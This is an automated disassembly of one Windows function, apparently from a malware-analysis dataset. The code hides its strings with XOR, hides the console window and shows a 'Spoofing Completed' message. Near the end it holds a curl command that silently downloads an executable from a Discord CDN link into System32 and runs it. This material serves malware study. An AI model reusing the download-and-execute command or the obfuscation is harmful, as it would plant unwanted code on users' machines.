Function at 0x140004710
Capabilities:
Encode data using xor
Hide graphical window
Set console window title

Disassembly:
push rbp
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [0x140076190]
xor rax, rsp
mov qword [rbp + 0x58], rax
lea rcx, [rsp + 0x20]
call fcn.140004500
cmp qword [rax + 0x18], 0x10
jb 0x140004740
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x140004786
mov rcx, qword [rsp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004781
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004f50
call fcn.140024990
mov qword [rsp + 0x170], rbx
xor ecx, ecx
mov qword [rsp + 0x178], rdi
mov dword [rbp + 0x50], 0x6f7779
mov byte [rbp + 0x54], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x1a]
xor byte [rbp + rcx + 0x50], al
inc rcx
cmp rcx, 3
jb 0x1400047b0
lea rcx, [rbp + 0x50]
mov byte [rbp + 0x54], 0
call fcn.14003a7dc
mov edi, dword [rbp + 0x50]
mov ebx, dword [rbp + 0x50]
nop dword [rax]
nop word [rax + rax]
mov dword [rsp + 0x70], 0x6f7779
xor ecx, ecx
mov byte [rsp + 0x74], 1
nop
lea eax, [rcx + 0x1a]
xor byte [rsp + rcx + 0x70], al
inc rcx
cmp rcx, 3
jb 0x1400047f0
lea rcx, [rsp + 0x70]
mov byte [rsp + 0x74], 0
call fcn.14003a7dc
mov rcx, qword [0x14007b648]
mov edx, 8
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [0x14007b648]
mov edx, 0xf
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [0x14007b648]
mov edx, 0xf
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movdqa xmm0, xmmword [0x14006aec0]
xor ecx, ecx
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0xd5e4e4c
mov dword [rsp + 0x34], 0x1002524
nop word [rax + rax]
lea eax, [rcx + 0x1a]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0x16
jb 0x140004870
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x37], 0
call fcn.140001730
movdqa xmm0, xmmword [str.:____LPNME.]
xor ecx, ecx
movdqa xmm1, xmmword [str.iCINE]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x40], 0x1001b04
movdqu xmmword [rsp + 0x30], xmm1
nop word [rax + rax]
lea eax, [rcx + 0x1a]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0x22
jb 0x1400048c0
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x43], 0
call fcn.140001730
lea rdx, [rbp + 0x50]
mov dword [rbp + 0x50], edi
call fcn.140006a30
mov edi, dword [rbp + 0x50]
mov ecx, edi
sub ecx, 1
je 0x140004b99
cmp ecx, 1
jne 0x140004b72
nop dword [rax]
nop word [rax + rax]
mov dword [rsp + 0x78], 0x6f7779
xor eax, eax
mov byte [rsp + 0x7c], 1
nop
lea ecx, [rax + 0x1a]
xor byte [rsp + rax + 0x78], cl
inc rax
cmp rax, 3
jb 0x140004920
lea rcx, [rsp + 0x78]
mov byte [rsp + 0x7c], 0
call fcn.14003a7dc
movdqa xmm0, xmmword [0x14006af20]
xor ecx, ecx
movdqa xmm1, xmmword [0x14006aee0]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm0, xmmword [str.ZLM]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm0, xmmword [0x14006af10]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm1, xmmword [0x14006af30]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm0, xmmword [0x14006af80]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm1, xmmword [str.RX_UWVBDGK_LY]
movdqa xmmword [rbp], xmm0
movdqa xmm0, xmmword [0x14006af50]
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmm1, xmmword [0x14006af70]
movdqa xmmword [rbp + 0x20], xmm0
movdqa xmmword [rbp + 0x10], xmm1
mov dword [rbp + 0x30], 0x9d8d94
mov byte [rbp + 0x34], 1
lea eax, [rcx + 0x1a]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 0x93
jb 0x1400049c1
lea rcx, [rbp - 0x60]
mov byte [rbp + 0x34], 0
call fcn.14003a7dc
xor ecx, ecx
mov dword [rbp - 0x80], 0x6f7779
mov byte [rbp - 0x7c], 1
nop
lea eax, [rcx + 0x1a]
xor byte [rbp + rcx - 0x80], al
inc rcx
cmp rcx, 3
jb 0x1400049f0
lea rcx, [rbp - 0x80]
mov byte [rbp - 0x7c], 0
call fcn.14003a7dc
movdqa xmm0, xmmword [0x14006af00]
xor ecx, ecx
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0x40495f59
mov dword [rsp + 0x34], 0x6c1d1d
mov byte [rsp + 0x38], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x1a]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0x17
jb 0x140004a40
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x38], 0
call fcn.14003a7dc
movdqa xmm0, xmmword [0x14006aef0]
xor ecx, ecx
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0x711e1847
mov dword [rsp + 0x34], 0x1f545c4f
mov dword [rsp + 0x38], 0x405250
mov byte [rsp + 0x3c], 1
nop dword [rax]
lea eax, [rcx + 0x1a]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0x1b
jb 0x140004a90
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x3c], 0
call fcn.14003a7dc
movdqa xmm0, xmmword [0x14006aef0]
xor ecx, ecx
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0x711e1847
mov dword [rsp + 0x34], 0x1f545c4f
mov dword [rsp + 0x38], 0x405250
mov byte [rsp + 0x3c], 1
nop dword [rax]
lea eax, [rcx + 0x1a]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0x1b
jb 0x140004ae0
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x3c], 0
call fcn.140036fc4
movdqa xmm0, xmmword [0x14006ae40]
xor ecx, ecx
movdqa xmm1, xmmword [0x14006ae50]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x40], 0x1c0517
movdqu xmmword [rsp + 0x30], xmm1
mov byte [rsp + 0x44], 1
nop word [rax + rax]
lea eax, [rcx + 0x1a]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0x23
jb 0x140004b30
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x44], 0
call fcn.140006750
lea rdx, [rbp + 0x50]
mov dword [rbp + 0x50], ebx
call fcn.140006a30
mov ebx, dword [rbp + 0x50]
mov ecx, ebx
sub ecx, 1
je 0x140004910
cmp ecx, 1
je 0x1400047e0
mov rdi, qword [rsp + 0x178]
xor eax, eax
mov rbx, qword [rsp + 0x170]
mov rcx, qword [rbp + 0x58]
xor rcx, rsp
call fcn.140024970
add rsp, 0x160
pop rbp
ret
mov dword [rbp - 0x78], 0x6f7779
xor ecx, ecx
mov byte [rbp - 0x74], 1
nop word [rax + rax]
lea eax, [rcx + 0x1a]
xor byte [rbp + rcx - 0x78], al
inc rcx
cmp rcx, 3
jb 0x140004bb0
lea rcx, [rbp - 0x78]
mov byte [rbp - 0x74], 0
call fcn.14003a7dc
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movdqa xmm0, xmmword [0x14006af20]
xor ecx, ecx
movdqa xmm1, xmmword [0x14006aee0]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm0, xmmword [str.ZLM]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm1, xmmword [0x14006af30]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm0, xmmword [0x14006af10]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm1, xmmword [str.ZZ_TZ_IHGJDEY_]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm0, xmmword [0x14006af60]
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmm1, xmmword [0x14006afc0]
movdqa xmmword [rbp], xmm0
movdqa xmm0, xmmword [0x14006afa0]
movdqa xmmword [rbp + 0x10], xmm1
movdqa xmm1, xmmword [0x14006af40]
movdqa xmmword [rbp + 0x20], xmm0
movdqa xmmword [rbp + 0x30], xmm1
mov dword [rbp + 0x40], 0xd1c9d584
mov dword [rbp + 0x44], 0xe7fe8d9e
mov word [rbp + 0x48], 0xf3
mov byte [rbp + 0x4a], 1
nop dword [rax]
lea eax, [rcx + 0x1a]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 0xa9
jb 0x140004c90
lea rcx, [rbp - 0x60]
mov byte [rbp + 0x4a], 0
call fcn.14003a7dc
movdqa xmm0, xmmword [0x14006af20]
xor ecx, ecx
movdqa xmm1, xmmword [0x14006aee0]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm0, xmmword [str.ZLM]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm0, xmmword [0x14006af10]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm1, xmmword [0x14006af30]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm0, xmmword [0x14006afb0]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm1, xmmword [0x14006ae30]
movdqa xmmword [rbp], xmm0
movdqa xmm0, xmmword [0x14006ae10]
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmm1, xmmword [0x14006af90]
movdqa xmmword [rbp + 0x20], xmm0
movdqa xmmword [rbp + 0x10], xmm1
mov byte [rbp + 0x30], 1
nop dword [rax + rax]
lea eax, [rcx + 0x1a]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 0x8f
jb 0x140004d30
lea rcx, [rbp - 0x60]
mov byte [rbp + 0x30], 0
call fcn.14003a7dc
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
xor ecx, ecx
mov dword [rbp - 0x70], 0x6f7779
mov byte [rbp - 0x6c], 1
lea eax, [rcx + 0x1a]
xor byte [rbp + rcx - 0x70], al
inc rcx
cmp rcx, 3
jb 0x140004d80
lea rcx, [rbp - 0x70]
mov byte [rbp - 0x6c], 0
call fcn.14003a7dc
movdqa xmm0, xmmword [0x14006af00]
xor ecx, ecx
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0x40495f59
mov dword [rsp + 0x34], 0x6c1d1d
mov byte [rsp + 0x38], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x1a]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0x17
jb 0x140004dd0
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x38], 0
call fcn.14003a7dc
movdqa xmm0, xmmword [0x14006aef0]
xor ecx, ecx
movdqa xmm1, xmmword [0x14006aed0]
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmm0, xmmword [0x14006aeb0]
movdqa xmmword [rsp + 0x30], xmm1
movdqa xmm1, xmmword [0x14006aea0]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x50], xmm1
mov word [rsp + 0x60], 0x100
lea eax, [rcx + 0x1a]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0x40
jb 0x140004e30
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x61], 0
call fcn.14003a7dc
xor r9d, r9d
lea r8, str.L_Paste
lea rdx, str.Spoofing_Completed
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
movdqa xmm0, xmmword [0x14006aef0]
xor ecx, ecx
movdqa xmm1, xmmword [0x14006aed0]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x40], 0x5812495f
movdqu xmmword [rsp + 0x30], xmm1
mov dword [rsp + 0x44], 0x1005a46
nop word [rax + rax]
lea eax, [rcx + 0x1a]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0x26
jb 0x140004ea0
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x47], 0
call fcn.140036fc4
movdqa xmm0, xmmword [0x14006aef0]
xor ecx, ecx
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0x711e1847
mov dword [rsp + 0x34], 0x48430162
mov word [rsp + 0x38], 0x41
mov byte [rsp + 0x3a], 1
nop dword [rax + rax]
lea eax, [rcx + 0x1a]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0x19
jb 0x140004ef0
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x3a], 0
call fcn.140036fc4
lea rcx, str.curl___silent_https:__cdn.discordapp.com_attachments_1028063461713907825_1036354838088405103_L_Protect.exe___output_C:WindowsSystem32L_Protect.exe__nul_2_1
call fcn.14003a7dc
lea rcx, [0x14006a580]
call fcn.14003a7dc
lea rcx, str.cd_C:WindowsSystem32_
call fcn.14003a7dc
lea rcx, str.C:WindowsSystem32L_Protect.exe
call fcn.14003a7dc
lea rcx, str.C:WindowsSystem32L_Protect.exe
call fcn.140036fc4
jmp 0x1400047e0
call fcn.14003a764
int3